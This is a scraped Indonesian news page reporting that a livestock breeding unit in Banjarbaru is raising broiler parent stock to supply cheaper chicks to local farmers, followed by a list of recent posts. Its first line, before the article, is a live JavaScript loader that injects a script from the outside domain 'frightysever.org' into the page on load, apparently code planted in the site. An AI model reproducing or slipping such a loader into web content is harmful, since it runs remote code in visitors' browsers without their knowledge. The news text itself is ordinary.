(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Kembangkan Ayam Pedaging, UPT BPT PKH Siap Pasok Bibit Ayam ke Peternak


BANJARBARU, Unit Pelaksana Teknis (UPT) Balai Pembibitan Ternak (BPT) dan Pusat Kesehatan Hewan (PKH) Banjarbaru mengembangkan unggas ayam pedaging. UPT BPT dan PKH Banjarbaru ingin bibit hasil pengembangan bisa menjadi pemasok bagi peternak lokal di sekitar wilayah Banjarbaru.

Kepala UPT BPT dan PKH Banjarbaru Ahmad Rifani mengatakan, UPT ini memiliki lahan seluas 2 hektare -dulunya RPH (Rumah Potong Hewan)- namun kini sudah menjadi UPT, maka pihaknya mencoba untuk melakukan pengembangan unggas hewan ternak ayam pedaging untuk memasok anakan untuk peternak lokal sekitar Banjarbaru.

“Kami mengembangkan indukan ayam pedaging, nantinya ketika umur 5 bulan ke atas atau sudah 6 bulan, ayam-ayam ini akan bertelur, nah telurnya nanti akan kita tetaskan di tempat ini juga, kemudian hasil penetasan coba kita lempar ke peternak lokal, jadi ini sebagai indukan dulu,” jelas Ahmad Rifani, Kamis (5/9) di UPT BPT dan PKH Banjarbaru, jalan Gunung Kupang, Kecamatan Cempaka.

Ayam betina indukan kini jumlahnya sebanyak 300 ekor, menurut Rifani, bibit anakan awal atau DOC umur 3 hari berasal dari Pulau Jawa.

“Kami beli anakan ayam (DOC) ini dari Jawa, untuk pejantannya jenis ayam Bangkok sebanyak 30 ekor, kami mengembangkan ayam yang banyak menghasilkan daging,” ucapnya.

Rifani optimis jumlah ayam indukan di UPT BPT PKH ini semakin berkembang. Karena itu, ia mengharapkan para peternak ayam lokal ke depan dapat mengambil bibit anak ayam atau DOC di UPT untuk kembali dikembangkan. “Karena kalau beli bibit ayam kirim dari Jawa, umur 3 hari saja anakannya sudah seharga 8 ribu perekor, bila nanti berhasil dikembangan dari indukan-indukan ini, tentu harga jual bibit dari UPT bisa ditekan, dengan kata lain bisa lebih murah kepada peternak lokal,” bebernya.

Sementara itu, Sekretaris Dinas Ketahanan Pangan, Pertanian, dan Perikanan Kota Banjarbaru Arnawaty Sufiyatin mengharapkan, agar masyarakat khususnya peternak lolak dapat memanfaatkan UPT ini dengan baik.

“Mudahan dengan adanya UPT ini, semakin meningkatkan peternak di Banjarbaru, paling tidak nanti ketersedian bibit ayam anakan bisa dihasilkan dari sini,” ucapnya. (bie)

Reporter : bie
Editor : kk

 


Desy Arfianty

Recent Posts

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

4 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

5 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

5 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

5 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

6 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

6 jam ago

This website uses cookies.